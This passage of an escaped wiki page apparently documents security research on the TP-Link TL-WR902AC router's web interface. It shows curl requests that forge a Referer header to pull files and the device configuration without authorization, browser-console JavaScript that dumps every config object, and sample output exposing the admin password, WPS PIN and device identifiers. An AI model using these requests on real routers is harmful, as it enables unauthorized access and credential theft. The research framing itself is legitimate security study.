│   ├── wlBasicAP.htm&lt;br /&gt;
│   ├── wlBasicAP5G.htm&lt;br /&gt;
│   ├── wlBasicHotspot.htm&lt;br /&gt;
│   ├── wlBasicHotspot5G.htm&lt;br /&gt;
│   ├── wlBasicMssid.htm&lt;br /&gt;
│   ├── wlConnect.htm&lt;br /&gt;
│   ├── wlConnect5G.htm&lt;br /&gt;
│   ├── wlExtender.htm&lt;br /&gt;
│   ├── wlExtender5G.htm&lt;br /&gt;
│   ├── wlFrequency.htm&lt;br /&gt;
│   ├── wlGuest.htm&lt;br /&gt;
│   ├── wlGuest5G.htm&lt;br /&gt;
│   ├── wlGuestStats.htm&lt;br /&gt;
│   ├── wlGuestStats5G.htm&lt;br /&gt;
│   ├── wlQss.htm&lt;br /&gt;
│   ├── wlQss5G.htm&lt;br /&gt;
│   ├── wlQssAdv.htm&lt;br /&gt;
│   ├── wlQssAdv5G.htm&lt;br /&gt;
│   ├── wlScan.htm&lt;br /&gt;
│   ├── wlScan5G.htm&lt;br /&gt;
│   ├── wlScanClient.htm&lt;br /&gt;
│   ├── wlScanClient5G.htm&lt;br /&gt;
│   ├── wlScheEdit.htm&lt;br /&gt;
│   ├── wlScheEdit5G.htm&lt;br /&gt;
│   ├── wlSec.htm&lt;br /&gt;
│   ├── wlSec5G.htm&lt;br /&gt;
│   ├── wlSecMssid.htm&lt;br /&gt;
│   ├── wlStats.htm&lt;br /&gt;
│   ├── wlStats5G.htm&lt;br /&gt;
│   ├── wlThroughput.htm&lt;br /&gt;
│   ├── wlThroughput5G.htm&lt;br /&gt;
│   ├── yandexDns.htm&lt;br /&gt;
│   └── yandexDnsEdit.htm&lt;br /&gt;
├── mainFrame.htm&lt;br /&gt;
├── qr.htm&lt;br /&gt;
└── xml&lt;br /&gt;
    └── log.txt&lt;br /&gt;
&lt;br /&gt;
8 directories, 388 files&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Using Packet Injection&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify&amp;quot;&amp;gt;In order to extract information from the server, one can either use cURL to forge packets or by using predefined JS functions executed via the webbrowsers console. Since any direct calls to the webserver end up in an &amp;lt;code&amp;gt;403 Forbidden&amp;lt;/code&amp;gt; http error, except for the root of the webserver, one needs to set the referer header to match the webservers IP address, this is necessary because the webpages is configured that the main frame usually loads content via AJAX without ever reloading the complete webpage. Using this method one can also set the authorization or session cookie if already aquired. Anywhow, this isn&#039;t needed for most calls on the TP-WR902AC with the FW version 170828. Seperate version may be listed below, depending on the firmware version.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Download any file from the webserver (Unauthorized)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;curl -X GET &amp;quot;http://192.168.1.1/js/oid_str.js&amp;quot; -H &amp;quot;Referer: http://192.168.1.1&amp;quot;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Get current session information (Authorized)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;curl -X POST &amp;quot;http://192.168.1.1/cgi/info&amp;quot; --cookie &amp;quot;Authorization=Basic YWRtaW46YWRtaW4=&amp;quot; -H &amp;quot;Referer: http://192.168.1.1&amp;quot;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;var userType=&amp;quot;Admin&amp;quot;;&lt;br /&gt;
var bSecured=0;&lt;br /&gt;
var clientLocal=1;&lt;br /&gt;
var clientIp=&amp;quot;192.168.1.100&amp;quot;;&lt;br /&gt;
var clientMac=&amp;quot;XX:XX:XX:XX:XX:XX&amp;quot;;&lt;br /&gt;
$.ret=0;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Download the device configuration (Unauthorized)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;$ curl -X POST &amp;quot;http://192.168.1.1/cgi/conf.bin&amp;quot; -H &amp;quot;Referer: http://192.168.1.1&amp;quot; --output ./conf.bin&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The downloaded &amp;lt;code&amp;gt;conf.bin&amp;lt;/code&amp;gt; has not been analyzed so far.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Using JavaScript Injection&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify&amp;quot;&amp;gt;cURL could also be used for CGI call using forged payload. But since the data format accepted by the CGI deamon is quite complicate to understand, so it is easier to let the JS libaries, delivered with the front-end webpage, do that job for us. Still, it is possible to forge or replay such payloads if aquired via packet sniffing or similar. The CGI accepted dataformat gets not much further analyzed here. Instead, the following commands are executed via the console of a webrowser executed on the TP-Link webpage using the &amp;lt;code&amp;gt;$.act()&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;$exe()&amp;lt;/code&amp;gt; function defined in &amp;lt;code&amp;gt;/js/lib.js&amp;lt;/code&amp;gt;. This will be elaborated in the next chapter [[#Common Gateway Interface|Common Gateway Interface]]. For now the examples used for information gathering without explanations.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin: 10px 0; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The Firmware identifiers used here are in fact the &amp;quot;buildDate&amp;quot; (YYMMDD). I use these to better draw link between differnet devices assuming a common code-base and vulnerabilities. See the [[#Firmware|Firmware]] section for more information.&amp;lt;/div&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Get Device Information including FW version.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 170828&lt;br /&gt;
$.act(ACT_GET, IGD_DEV_INFO); $.exe();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 190428&lt;br /&gt;
$.act(ACT_GET, IGD_DEV_INFO); $.exe(null, false, 0);&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Use ACT_GET (and ACT_GL) to create the largest possible Information leaking command.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 170828&lt;br /&gt;
var act_get_oid_list = [&amp;quot;IGD&amp;quot;, &amp;quot;IGD_DEV_INFO&amp;quot;, &amp;quot;SYSLOG_CFG&amp;quot;, &amp;quot;ETH_SWITCH&amp;quot;, &amp;quot;SYS_CFG&amp;quot;, &amp;quot;NET_CFG&amp;quot;, &amp;quot;USER_CFG&amp;quot;, &amp;quot;CURRENT_USER&amp;quot;, &amp;quot;APP_CFG&amp;quot;, &amp;quot;HTTP_CFG&amp;quot;, &amp;quot;DYN_DNS_CFG&amp;quot;, &amp;quot;UPNP_CFG&amp;quot;, &amp;quot;DIAG_TOOL&amp;quot;, &amp;quot;NOIP_DNS_CFG&amp;quot;, &amp;quot;CMX_DNS_CFG&amp;quot;, &amp;quot;WAN_TYPE_DETECT&amp;quot;, &amp;quot;DMZ_HOST_CFG&amp;quot;, &amp;quot;TIME&amp;quot;, &amp;quot;HOUR&amp;quot;, &amp;quot;L3_FORWARDING&amp;quot;, &amp;quot;L3_IP6_FORWARDING&amp;quot;, &amp;quot;L2_BRIDGING&amp;quot;, &amp;quot;LAN_HOST_ENTRY&amp;quot;, &amp;quot;WAN_ETH_INTF_STATS&amp;quot;, &amp;quot;WAN_L2TP_CONN_STATS&amp;quot;, &amp;quot;WAN_PPTP_CONN_STATS&amp;quot;, &amp;quot;WAN_PPP_CONN_STATS&amp;quot;, &amp;quot;STAT_CFG&amp;quot;, &amp;quot;DDOS_CFG&amp;quot;, &amp;quot;ARP_BIND&amp;quot;, &amp;quot;TC&amp;quot;, &amp;quot;ALG_CFG&amp;quot;, &amp;quot;FIREWALL&amp;quot;, &amp;quot;IP6_FIREWALL&amp;quot;, &amp;quot;IP6_TUNNEL&amp;quot;, &amp;quot;DSLITE&amp;quot;, &amp;quot;SIT_6RD&amp;quot;, &amp;quot;STORAGE_SERVICE&amp;quot;, &amp;quot;CAPABLE&amp;quot;, &amp;quot;FOLDER_BROWSE&amp;quot;, &amp;quot;DLNA_MEDIA_SERVER&amp;quot;, &amp;quot;SMB_SERVICE&amp;quot;, &amp;quot;FTP_SERVER&amp;quot;, &amp;quot;SYS_MODE&amp;quot;, &amp;quot;EWAN&amp;quot;, &amp;quot;CLOUD_SERVICE&amp;quot;, &amp;quot;FW_UPGRADE_INFO&amp;quot;, &amp;quot;OWNER_INFO&amp;quot;, &amp;quot;CURRENT_USER_INFO&amp;quot;, &amp;quot;CLOUD_DDNS&amp;quot;, &amp;quot;CLOUD_DDNS_ENTRY&amp;quot;, &amp;quot;WAN_ERROR_BLOCK&amp;quot;, &amp;quot;FW_UP_INFO_BLOCK&amp;quot;, &amp;quot;IPPING_DIAG&amp;quot;, &amp;quot;TRACEROUTE_DIAG&amp;quot;, &amp;quot;VLAN&amp;quot;, &amp;quot;IPV6_CFG&amp;quot;, &amp;quot;PRODUCE_INFO&amp;quot;, &amp;quot;MULTIMODE&amp;quot;, &amp;quot;PING_WATCH_DOG&amp;quot;];&lt;br /&gt;
for(let i=0; i&amp;lt;act_get_oid_list.length; i++){&lt;br /&gt;
	$.act(ACT_GET, act_get_oid_list[i]);&lt;br /&gt;
}&lt;br /&gt;
$.act(ACT_GL,LAN_WLAN);&lt;br /&gt;
$.exe();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Example Results (447 lines) (&amp;lt;b&amp;gt;including &amp;quot;adminName&amp;quot;, &amp;quot;adminPwd&amp;quot;, &amp;quot;X_TP_PreSharedKey&amp;quot; and &amp;quot;flashPin&amp;quot;!&amp;lt;/b&amp;gt;)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;[0,0,0,0,0,0]0&lt;br /&gt;
deviceSummary=InternetGatewayDevice:1.1[](Baseline:1, EthernetLAN:1)&lt;br /&gt;
LANDeviceNumberOfEntries=1&lt;br /&gt;
WANDeviceNumberOfEntries=0&lt;br /&gt;
[0,0,0,0,0,0]1&lt;br /&gt;
manufacturer=TP-Link&lt;br /&gt;
manufacturerOUI=98DAC4&lt;br /&gt;
modelName=TL-WR902AC&lt;br /&gt;
description=AC750 Wi-Fi Travel Router&lt;br /&gt;
productClass=IGD&lt;br /&gt;
serialNumber=98DAC46E00FC&lt;br /&gt;
hardwareVersion=TL-WR902AC v3 00000001&lt;br /&gt;
softwareVersion=0.9.1 0.1 v0089.0 Build 170828 Rel.57433n(4555)&lt;br /&gt;
modemFirmwareVersion=&lt;br /&gt;
enabledOptions=&lt;br /&gt;
additionalHardwareVersion=00000001&lt;br /&gt;
additionalSoftwareVersion=&lt;br /&gt;
specVersion=1.0&lt;br /&gt;
provisioningCode=&lt;br /&gt;
upTime=16922&lt;br /&gt;
firstUseDate=&lt;br /&gt;
deviceLog=0x58801d58&lt;br /&gt;
X_TP_HardwareID=6146446FA85583FDD5135E8275E48010&lt;br /&gt;
X_TP_FirmwareID=EF04518B7BA1296A8F491C96C45F01E9&lt;br /&gt;
X_TP_HardwareDescription=TL-WR902AC 3.0&lt;br /&gt;
X_TP_isFD=1&lt;br /&gt;
X_TP_DevManufacturerURL=http://www.tp-link.com&lt;br /&gt;
X_TP_DevModelVersion=3.0&lt;br /&gt;
X_TP_ProductID=903311&lt;br /&gt;
X_TP_ProductVersion=137&lt;br /&gt;
X_TP_SoftwareRevision=1437204481&lt;br /&gt;
X_TP_SoftwareRevisionMinor=0&lt;br /&gt;
X_TP_PlatformVersion=2768242945&lt;br /&gt;
X_TP_BuildDate=170828&lt;br /&gt;
X_TP_BuildTime=57433&lt;br /&gt;
[0,0,0,0,0,0]2&lt;br /&gt;
logToRemote=0&lt;br /&gt;
remoteSeverity=4&lt;br /&gt;
serverIP=192.168.0.100&lt;br /&gt;
serverPort=514&lt;br /&gt;
facility=1&lt;br /&gt;
logToLocal=1&lt;br /&gt;
localSeverity=6&lt;br /&gt;
logHeadPos=0&lt;br /&gt;
logTailPos=3897&lt;br /&gt;
[0,0,0,0,0,0]3&lt;br /&gt;
enableVirtualPorts=0&lt;br /&gt;
numberOfVirtualPorts=4&lt;br /&gt;
ifName=eth0&lt;br /&gt;
[0,0,0,0,0,0]4&lt;br /&gt;
flashMac=98:DA:C4:6E:00:FC&lt;br /&gt;
flashPin=37490720&lt;br /&gt;
flashZoneId=EUR&lt;br /&gt;
flashDevId=8000FB75D7711C1F692E48B22DE039B81BA9945D&lt;br /&gt;
flashOemId=A724943A07C41281802668C26C685D1A&lt;br /&gt;
flashSpecialId=45550000&lt;br /&gt;
flashCountryCode=DE&lt;br /&gt;
sign=&lt;br /&gt;
signLen=0&lt;br /&gt;
publicKey1=BgIAAACkAABSU0ExAAQAAAEAAQCNrP4jIUWitcvDIHr3OHnlzLCjGyJoLXgY9uH7tAVaYN+2YWEQ9RuS4PIQo7uWwHs7PYTAh9vF&lt;br /&gt;
publicKey2=pdMfu6NNkdvneLUER5V7Q5HtmPXd3roiIMi55tK7lA0B67bjYpBE/JM+SLbyMRgeNWut0YoufpLNV24ZQa0p7Xj4M5m2ZDclnA==&lt;br /&gt;
publicKeyLen=200&lt;br /&gt;
signStatus=0&lt;br /&gt;
[0,0,0,0,0,0]5&lt;br /&gt;
DNSServers=192.168.0.1,0.0.0.0&lt;br /&gt;
DNSifAliasName=ewan_ipoe_d&lt;br /&gt;
currDNSServer=16820416&lt;br /&gt;
[0,0,0,0,0,0]6&lt;br /&gt;
rootName=&lt;br /&gt;
rootPwd=&lt;br /&gt;
adminName=admin&lt;br /&gt;
adminPwd=admin&lt;br /&gt;
userName=&lt;br /&gt;
userPwd=&lt;br /&gt;
[0,0,0,0,0,0]7&lt;br /&gt;
userName=&lt;br /&gt;
passwd=&lt;br /&gt;
httpSession=&lt;br /&gt;
userSetting=0&lt;br /&gt;
action=0&lt;br /&gt;
loginStatus=0&lt;br /&gt;
userRole=3&lt;br /&gt;
logInCloud=0&lt;br /&gt;
needReconn=0&lt;br /&gt;
[0,0,0,0,0,0]8&lt;br /&gt;
localHost=&lt;br /&gt;
remoteHost=&lt;br /&gt;
[0,0,0,0,0,0]9&lt;br /&gt;
httpCharset=utf-8&lt;br /&gt;
httpLocalEnabled=1&lt;br /&gt;
httpLocalPort=80&lt;br /&gt;
httpRemoteEnabled=0&lt;br /&gt;
httpRemotePort=80&lt;br /&gt;
httpsLocalEnabled=0&lt;br /&gt;
httpsLocalPort=443&lt;br /&gt;
httpsRemoteEnabled=0&lt;br /&gt;
httpsRemotePort=443&lt;br /&gt;
[0,0,0,0,0,0]10&lt;br /&gt;
enable=0&lt;br /&gt;
state=0&lt;br /&gt;
userName=&lt;br /&gt;
password=&lt;br /&gt;
userDomain=&lt;br /&gt;
server=members.dyndns.org&lt;br /&gt;
login=1&lt;br /&gt;
[0,0,0,0,0,0]11&lt;br /&gt;
enable=1&lt;br /&gt;
[0,0,0,0,0,0]12&lt;br /&gt;
currCommand=0&lt;br /&gt;
currHost=0.0.0.0&lt;br /&gt;
lastCommand=0&lt;br /&gt;
lastHost=0.0.0.0&lt;br /&gt;
lastResult=0&lt;br /&gt;
[0,0,0,0,0,0]13&lt;br /&gt;
enable=0&lt;br /&gt;
state=3&lt;br /&gt;
userName=&lt;br /&gt;
password=&lt;br /&gt;
userDomain=&lt;br /&gt;
server=dynupdate.no-ip.com&lt;br /&gt;
login=1&lt;br /&gt;
[0,0,0,0,0,0]14&lt;br /&gt;
enable=0&lt;br /&gt;
state=0&lt;br /&gt;
userName=&lt;br /&gt;
password=&lt;br /&gt;
userDomain1=&lt;br /&gt;
userDomain2=&lt;br /&gt;
userDomain3=&lt;br /&gt;
userDomain4=&lt;br /&gt;
userDomain5=&lt;br /&gt;
server=dns.comexe.cn&lt;br /&gt;
login=1&lt;br /&gt;
[0,0,0,0,0,0]15&lt;br /&gt;
ifName=&lt;br /&gt;
state=1&lt;br /&gt;
wanType=0&lt;br /&gt;
wanTypeGet=0&lt;br /&gt;
[0,0,0,0,0,0]16&lt;br /&gt;
enable=0&lt;br /&gt;
IPAddress=&lt;br /&gt;
[0,0,0,0,0,0]17&lt;br /&gt;
__status=2&lt;br /&gt;
NTPServer1=&lt;br /&gt;
NTPServer2=&lt;br /&gt;
NTPServer3=&lt;br /&gt;
NTPServer4=&lt;br /&gt;
NTPServer5=&lt;br /&gt;
currentLocalTime=2020-06-28T21:31:33+00:00&lt;br /&gt;
localTimeZone=+00:00&lt;br /&gt;
localTimeZoneName=&lt;br /&gt;
daylightSavingsUsed=0&lt;br /&gt;
daylightSavingsStart=&lt;br /&gt;
daylightSavingsEnd=&lt;br /&gt;
X_TP_DaylightSavingsStartWeekCount=0&lt;br /&gt;
X_TP_DaylightSavingsEndWeekCount=0&lt;br /&gt;
X_TP_ShowDaylightSavingOnWeb=1&lt;br /&gt;
[0,0,0,0,0,0]18&lt;br /&gt;
year=2020&lt;br /&gt;
month=6&lt;br /&gt;
day=28&lt;br /&gt;
hours=21&lt;br /&gt;
minutes=31&lt;br /&gt;
seconds=33&lt;br /&gt;
[0,0,0,0,0,0]19&lt;br /&gt;
__defaultGateway=192.168.0.1&lt;br /&gt;
__ifName=eth0.2&lt;br /&gt;
__ifAliasName=ewan_ipoe_d&lt;br /&gt;
defaultConnectionService=&lt;br /&gt;
forwardNumberOfEntries=0&lt;br /&gt;
[0,0,0,0,0,0]20&lt;br /&gt;
__defaultGateway=::&lt;br /&gt;
__ifName=eth0.2&lt;br /&gt;
__ifAliasName=ewan_ipoev6_d&lt;br /&gt;
defaultConnectionService=&lt;br /&gt;
IPv6ForwardNumberOfEntries=0&lt;br /&gt;
[0,0,0,0,0,0]21&lt;br /&gt;
maxBridgeEntries=16&lt;br /&gt;
maxFilterEntries=64&lt;br /&gt;
maxMarkingEntries=0&lt;br /&gt;
bridgeNumberOfEntries=1&lt;br /&gt;
filterNumberOfEntries=7&lt;br /&gt;
markingNumberOfEntries=0&lt;br /&gt;
availableInterfaceNumberOfEntries=7&lt;br /&gt;
[0,0,0,0,0,0]22&lt;br /&gt;
IPAddress=192.168.1.100&lt;br /&gt;
leaseTimeRemaining=5737&lt;br /&gt;
MACAddress=XX:XX:XX:XX:XX:XX&lt;br /&gt;
hostName=Z&lt;br /&gt;
X_TP_ConnType=1&lt;br /&gt;
[0,0,0,0,0,0]23&lt;br /&gt;
bytesSent=0&lt;br /&gt;
bytesReceived=0&lt;br /&gt;
packetsSent=0&lt;br /&gt;
packetsReceived=0&lt;br /&gt;
[0,0,0,0,0,0]24&lt;br /&gt;
ethernetBytesSent=0&lt;br /&gt;
ethernetBytesReceived=0&lt;br /&gt;
ethernetPacketsSent=0&lt;br /&gt;
ethernetPacketsReceived=0&lt;br /&gt;
ethernetErrorsSent=0&lt;br /&gt;
ethernetErrorsReceived=0&lt;br /&gt;
ethernetUnicastPacketsSent=0&lt;br /&gt;
ethernetUnicastPacketsReceived=0&lt;br /&gt;
ethernetDiscardPacketsSent=0&lt;br /&gt;
ethernetDiscardPacketsReceived=0&lt;br /&gt;
ethernetMulticastPacketsSent=0&lt;br /&gt;
ethernetMulticastPacketsReceived=0&lt;br /&gt;
ethernetBroadcastPacketsSent=0&lt;br /&gt;
ethernetBroadcastPacketsReceived=0&lt;br /&gt;
ethernetUnknownProtoPacketsReceived=0&lt;br /&gt;
[0,0,0,0,0,0]25&lt;br /&gt;
ethernetBytesSent=0&lt;br /&gt;
ethernetBytesReceived=0&lt;br /&gt;
ethernetPacketsSent=0&lt;br /&gt;
ethernetPacketsReceived=0&lt;br /&gt;
ethernetErrorsSent=0&lt;br /&gt;
ethernetErrorsReceived=0&lt;br /&gt;
ethernetUnicastPacketsSent=0&lt;br /&gt;
ethernetUnicastPacketsReceived=0&lt;br /&gt;
ethernetDiscardPacketsSent=0&lt;br /&gt;
ethernetDiscardPacketsReceived=0&lt;br /&gt;
ethernetMulticastPacketsSent=0&lt;br /&gt;
ethernetMulticastPacketsReceived=0&lt;br /&gt;
ethernetBroadcastPacketsSent=0&lt;br /&gt;
ethernetBroadcastPacketsReceived=0&lt;br /&gt;
ethernetUnknownProtoPacketsReceived=0&lt;br /&gt;
[0,0,0,0,0,0]26&lt;br /&gt;
ethernetBytesSent=0&lt;br /&gt;
ethernetBytesReceived=0&lt;br /&gt;
ethernetPacketsSent=0&lt;br /&gt;
ethernetPacketsReceived=0&lt;br /&gt;
ethernetErrorsSent=0&lt;br /&gt;
ethernetErrorsReceived=0&lt;br /&gt;
ethernetUnicastPacketsSent=0&lt;br /&gt;
ethernetUnicastPacketsReceived=0&lt;br /&gt;
ethernetDiscardPacketsSent=0&lt;br /&gt;
ethernetDiscardPacketsReceived=0&lt;br /&gt;
ethernetMulticastPacketsSent=0&lt;br /&gt;
ethernetMulticastPacketsReceived=0&lt;br /&gt;
ethernetBroadcastPacketsSent=0&lt;br /&gt;
ethernetBroadcastPacketsReceived=0&lt;br /&gt;
ethernetUnknownProtoPacketsReceived=0&lt;br /&gt;
[0,0,0,0,0,0]27&lt;br /&gt;
enable=0&lt;br /&gt;
interval=10&lt;br /&gt;
action=0&lt;br /&gt;
[0,0,0,0,0,0]28&lt;br /&gt;
enable=0&lt;br /&gt;
enableIcmpFilter=0&lt;br /&gt;
icmpThreshold=50&lt;br /&gt;
enableUdpFilter=0&lt;br /&gt;
udpThreshold=500&lt;br /&gt;
enableSynFilter=0&lt;br /&gt;
synThreshold=50&lt;br /&gt;
forbidLanPing=0&lt;br /&gt;
forbidWanPing=1&lt;br /&gt;
action=0&lt;br /&gt;
[0,0,0,0,0,0]29&lt;br /&gt;
enable=0&lt;br /&gt;
[0,0,0,0,0,0]30&lt;br /&gt;
TCRuleNumberOfEntries=0&lt;br /&gt;
enable=0&lt;br /&gt;
linkType=0&lt;br /&gt;
upTotalBW=0&lt;br /&gt;
downTotalBW=0&lt;br /&gt;
iptvEnable=0&lt;br /&gt;
iptvUpMinBW=0&lt;br /&gt;
iptvDownMinBW=0&lt;br /&gt;
voIPEnable=0&lt;br /&gt;
voIPUpMinBW=20&lt;br /&gt;
[0,0,0,0,0,0]31&lt;br /&gt;
pptpAlg=1&lt;br /&gt;
l2tpAlg=1&lt;br /&gt;
ipSecAlg=1&lt;br /&gt;
ftpAlg=1&lt;br /&gt;
tftpAlg=1&lt;br /&gt;
h323Alg=1&lt;br /&gt;
sipAlg=1&lt;br /&gt;
rtspAlg=1&lt;br /&gt;
hw_nat_enable=0&lt;br /&gt;
[0,0,0,0,0,0]32&lt;br /&gt;
enable=0&lt;br /&gt;
defaultAction=0&lt;br /&gt;
enalbeParentCtrl=0&lt;br /&gt;
parentMac=&lt;br /&gt;
[0,0,0,0,0,0]33&lt;br /&gt;
enable=0&lt;br /&gt;
defaultAction=0&lt;br /&gt;
[0,0,0,0,0,0]34&lt;br /&gt;
mechanism=2&lt;br /&gt;
associatedWanIfName=&lt;br /&gt;
enabled=0&lt;br /&gt;
localAddress=&lt;br /&gt;
associatedLanIfName=br0&lt;br /&gt;
[0,0,0,0,0,0]35&lt;br /&gt;
enabled=0&lt;br /&gt;
dynamic=0&lt;br /&gt;
remoteIPv6Address=&lt;br /&gt;
[0,0,0,0,0,0]36&lt;br /&gt;
enabled=0&lt;br /&gt;
dynamic=0&lt;br /&gt;
IPv4MaskLen=0&lt;br /&gt;
prefix=&lt;br /&gt;
prefixLen=0&lt;br /&gt;
borderRelayIPv4Address=&lt;br /&gt;
[0,0,0,0,0,0]37&lt;br /&gt;
enable=1&lt;br /&gt;
userAccountNumberOfEntries=0&lt;br /&gt;
physicalMediumNumberOfEntries=0&lt;br /&gt;
logicalVolumeNumberOfEntries=0&lt;br /&gt;
ready=1&lt;br /&gt;
[0,0,0,0,0,0]38&lt;br /&gt;
FTPCapable=1&lt;br /&gt;
supportedNetworkProtocols=SMB&lt;br /&gt;
supportedFileSystemTypes=FAT16,FAT32,NTFS&lt;br /&gt;
[0,0,0,0,0,0]39&lt;br /&gt;
targetPath=&lt;br /&gt;
[0,0,0,0,0,0]40&lt;br /&gt;
serverState=0&lt;br /&gt;
serverName=MediaShare:1&lt;br /&gt;
scanFlag=0&lt;br /&gt;
scanInterval=3600&lt;br /&gt;
[0,0,0,0,0,0]41&lt;br /&gt;
enable=1&lt;br /&gt;
anonymous=1&lt;br /&gt;
modified=0&lt;br /&gt;
[0,0,0,0,0,0]42&lt;br /&gt;
enable=1&lt;br /&gt;
portNumber=21&lt;br /&gt;
accessFromInternet=0&lt;br /&gt;
wanIP=0.0.0.0&lt;br /&gt;
modified=0&lt;br /&gt;
[0,0,0,0,0,0]43&lt;br /&gt;
mode=ETH&lt;br /&gt;
DSLL3ForwardingName=NO_INTERFACE&lt;br /&gt;
ETHL3ForwardingName=NO_INTERFACE&lt;br /&gt;
_3GL3ForwardingName=NO_INTERFACE&lt;br /&gt;
DSLL3IPv6ForwardingName=NO_INTERFACE&lt;br /&gt;
ETHL3IPv6ForwardingName=NO_INTERFACE&lt;br /&gt;
[0,0,0,0,0,0]44&lt;br /&gt;
enable=1&lt;br /&gt;
MACAddress=&lt;br /&gt;
ifName=eth0.2&lt;br /&gt;
[0,0,0,0,0,0]45&lt;br /&gt;
alias=&lt;br /&gt;
legality=0&lt;br /&gt;
illegalType=0&lt;br /&gt;
tcspStatus=1&lt;br /&gt;
[0,0,0,0,0,0]46&lt;br /&gt;
type=0&lt;br /&gt;
